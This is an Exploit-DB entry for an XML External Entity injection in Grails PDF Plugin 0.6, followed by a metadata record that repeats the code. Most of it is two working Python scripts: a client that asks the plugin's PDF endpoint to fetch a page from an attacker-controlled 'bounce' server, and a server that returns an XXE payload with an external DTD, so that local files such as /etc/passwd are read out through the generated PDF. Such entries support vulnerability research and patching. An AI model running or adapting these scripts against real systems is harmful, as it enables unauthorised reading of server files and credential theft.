ID EDB-ID:41466
Type exploitdb
Reporter Exploit-DB
Modified 2017-02-21T00:00:00
Description
Grails PDF Plugin 0.6 - XML External Entity Injection. Webapps exploit for Java platform
# Exploit Title: Grails PDF Plugin 0.6 XXE
# Date: 21/02/2017
# Vendor Homepage: http://www.grails.org/plugin/pdf
# Software Link: https://github.com/aeischeid/grails-pdfplugin
# Exploit Author: Charles FOL
# Contact: https://twitter.com/ambionics
# Website: https://www.ambionics.io/blog/grails-pdf-plugin-xxe
# Version: 0.6
# CVE : N/A
1. dump_file.py
#!/usr/bin/python3
# Grails PDF Plugin XXE
# cf
# https://www.ambionics.io/blog/grails-pdf-plugin-xxe
import requests
import sys
import os
# Base URL of the Grails target
URL = 'http://10.0.0.179:8080/grailstest'
# "Bounce" HTTP Server
BOUNCE = 'http://10.0.0.138:7777/'
session = requests.Session()
pdfForm = '/pdf/pdfForm?url='
renderPage = 'render.html'
if len(sys.argv) < 0:
print('usage: ./%s <resource>' % sys.argv[0])
print('e.g.: ./%s file:///etc/passwd' % sys.argv[0])
exit(0)
resource = sys.argv[1]
# Build the full URL
full_url = URL + pdfForm + pdfForm + BOUNCE + renderPage
full_url += '&resource=' + sys.argv[1]
r = requests.get(full_url, allow_redirects=False)
#print(full_url)
if r.status_code != 200:
print('Error: %s' % r)
else:
with open('/tmp/file.pdf', 'wb') as handle:
handle.write(r.content)
os.system('pdftotext /tmp/file.pdf')
with open('/tmp/file.txt', 'r') as handle:
print(handle.read(), end='')
2. server.py
#!/usr/bin/python3
# Grails PDF Plugin XXE
# cf
# https://www.ambionics.io/blog/grails-pdf-plugin-xxe
#
# Server part of the exploitation
#
# Start it in an empty folder:
# $ mkdir /tmp/empty
# $ mv server.py /tmp/empty
# $ /tmp/empty/server.py
import http.server
import socketserver
import sys
BOUNCE_IP = '10.0.0.138'
BOUNCE_PORT = int(sys.argv[1]) if len(sys.argv) > 1 else 80
# Template for the HTML page
template = """<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE html [
<!ENTITY % start "<![CDATA[">
<!ENTITY % goodies SYSTEM "[RESOURCE]">
<!ENTITY % end "]]>">
<!ENTITY % dtd SYSTEM "http://[BOUNCE]/out.dtd">
%dtd;
]>
<html>
<head>
<style>
body { font-size: 1px; width: 1000000000px;}
</style>
</head>
<body>
<pre>&all;</pre>
</body>
</html>"""
# The external DTD trick allows us to get more files; they would've been
invalid
# otherwise
# See: https://www.vsecurity.com/download/papers/XMLDTDEntityAttacks.pdf
dtd = """<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY all "%start;%goodies;%end;">
"""
# Really hacky. When the render.html page is requested, we extract the
# 'resource=XXX' part of the URL and create an HTML file which XXEs it.
class GetHandler(http.server.SimpleHTTPRequestHandler):
def do_GET(self):
if 'render.html' in self.path:
resource = self.path.split('resource=')[1]
print('Resource: %s' % resource)
page = template
page = page.replace('[RESOURCE]', resource)
page = page.replace('[BOUNCE]', '%s:%d' % (BOUNCE_IP,
BOUNCE_PORT))
with open('render.html', 'w') as handle:
handle.write(page)
return super().do_GET()
Handler = GetHandler
httpd = socketserver.TCPServer(("", BOUNCE_PORT), Handler)
with open('out.dtd', 'w') as handle:
handle.write(dtd)
print("Started HTTP server on port %d, press Ctrl-C to exit..." %
BOUNCE_PORT)
try:
httpd.serve_forever()
except KeyboardInterrupt:
print("Keyboard interrupt received, exiting.")
httpd.server_close()
{"id": "EDB-ID:41466", "type": "exploitdb", "bulletinFamily": "exploit", "title": "Grails PDF Plugin 0.6 - XML External Entity Injection", "description": "Grails PDF Plugin 0.6 - XML External Entity Injection. Webapps exploit for Java platform", "published": "2017-02-21T00:00:00", "modified": "2017-02-21T00:00:00", "cvss": {"vector": "NONE", "score": 0.0}, "href": "https://www.exploit-db.com/exploits/41466/", "reporter": "Exploit-DB", "references": [], "cvelist": [], "lastseen": "2017-02-27T11:11:09", "viewCount": 11, "enchantments": {"score": {"value": -0.0, "vector": "NONE", "modified": "2017-02-27T11:11:09", "rev": 2}, "dependencies": {"references": [], "modified": "2017-02-27T11:11:09", "rev": 2}, "vulnersScore": -0.0}, "sourceHref": "https://www.exploit-db.com/download/41466/", "sourceData": "# Exploit Title: Grails PDF Plugin 0.6 XXE\r\n# Date: 21/02/2017\r\n# Vendor Homepage: http://www.grails.org/plugin/pdf\r\n# Software Link: https://github.com/aeischeid/grails-pdfplugin\r\n# Exploit Author: Charles FOL\r\n# Contact: https://twitter.com/ambionics\r\n# Website: https://www.ambionics.io/blog/grails-pdf-plugin-xxe\r\n# Version: 0.6\r\n# CVE : N/A\r\n\r\n\r\n1. dump_file.py\r\n\r\n#!/usr/bin/python3\r\n# Grails PDF Plugin XXE\r\n# cf\r\n# https://www.ambionics.io/blog/grails-pdf-plugin-xxe\r\n\r\nimport requests\r\nimport sys\r\nimport os\r\n\r\n# Base URL of the Grails target\r\nURL = 'http://10.0.0.179:8080/grailstest'\r\n# \"Bounce\" HTTP Server\r\nBOUNCE = 'http://10.0.0.138:7777/'\r\n\r\n\r\nsession = requests.Session()\r\npdfForm = '/pdf/pdfForm?url='\r\nrenderPage = 'render.html'\r\n\r\nif len(sys.argv) < 0:\r\n print('usage: ./%s <resource>' % sys.argv[0])\r\n print('e.g.: ./%s file:///etc/passwd' % sys.argv[0])\r\n exit(0)\r\n\r\nresource = sys.argv[1]\r\n\r\n# Build the full URL\r\nfull_url = URL + pdfForm + pdfForm + BOUNCE + renderPage\r\nfull_url += '&resource=' + sys.argv[1]\r\n\r\nr = requests.get(full_url, allow_redirects=False)\r\n\r\n#print(full_url)\r\n\r\nif r.status_code != 200:\r\n print('Error: %s' % r)\r\nelse:\r\n with open('/tmp/file.pdf', 'wb') as handle:\r\n handle.write(r.content)\r\n os.system('pdftotext /tmp/file.pdf')\r\n with open('/tmp/file.txt', 'r') as handle:\r\n print(handle.read(), end='')\r\n\r\n\r\n2. server.py\r\n\r\n#!/usr/bin/python3\r\n# Grails PDF Plugin XXE\r\n# cf\r\n# https://www.ambionics.io/blog/grails-pdf-plugin-xxe\r\n#\r\n# Server part of the exploitation\r\n#\r\n# Start it in an empty folder:\r\n# $ mkdir /tmp/empty\r\n# $ mv server.py /tmp/empty\r\n# $ /tmp/empty/server.py\r\n\r\nimport http.server\r\nimport socketserver\r\nimport sys\r\n\r\n\r\nBOUNCE_IP = '10.0.0.138'\r\nBOUNCE_PORT = int(sys.argv[1]) if len(sys.argv) > 1 else 80\r\n\r\n# Template for the HTML page\r\ntemplate = \"\"\"<?xml version=\"1.0\" encoding=\"utf-8\"?>\r\n<!DOCTYPE html [\r\n <!ENTITY % start \"<![CDATA[\">\r\n <!ENTITY % goodies SYSTEM \"[RESOURCE]\">\r\n <!ENTITY % end \"]]>\">\r\n <!ENTITY % dtd SYSTEM \"http://[BOUNCE]/out.dtd\">\r\n%dtd;\r\n]>\r\n<html>\r\n <head>\r\n <style>\r\n body { font-size: 1px; width: 1000000000px;}\r\n </style>\r\n </head>\r\n <body>\r\n <pre>&all;</pre>\r\n </body>\r\n</html>\"\"\"\r\n\r\n# The external DTD trick allows us to get more files; they would've been\r\ninvalid\r\n# otherwise\r\n# See: https://www.vsecurity.com/download/papers/XMLDTDEntityAttacks.pdf\r\ndtd = \"\"\"<?xml version=\"1.0\" encoding=\"UTF-8\"?>\r\n<!ENTITY all \"%start;%goodies;%end;\">\r\n\"\"\"\r\n\r\n# Really hacky. When the render.html page is requested, we extract the\r\n# 'resource=XXX' part of the URL and create an HTML file which XXEs it.\r\nclass GetHandler(http.server.SimpleHTTPRequestHandler):\r\n def do_GET(self):\r\n if 'render.html' in self.path:\r\n resource = self.path.split('resource=')[1]\r\n print('Resource: %s' % resource)\r\n page = template\r\n page = page.replace('[RESOURCE]', resource)\r\n page = page.replace('[BOUNCE]', '%s:%d' % (BOUNCE_IP,\r\nBOUNCE_PORT))\r\n\r\n with open('render.html', 'w') as handle:\r\n handle.write(page)\r\n\r\n return super().do_GET()\r\n\r\n\r\nHandler = GetHandler\r\nhttpd = socketserver.TCPServer((\"\", BOUNCE_PORT), Handler)\r\n\r\nwith open('out.dtd', 'w') as handle:\r\n handle.write(dtd)\r\n\r\nprint(\"Started HTTP server on port %d, press Ctrl-C to exit...\" %\r\nBOUNCE_PORT)\r\ntry:\r\n httpd.serve_forever()\r\nexcept KeyboardInterrupt:\r\n print(\"Keyboard interrupt received, exiting.\")\r\n httpd.server_close()\r\n\r\n\r\n", "osvdbidlist": []}
{}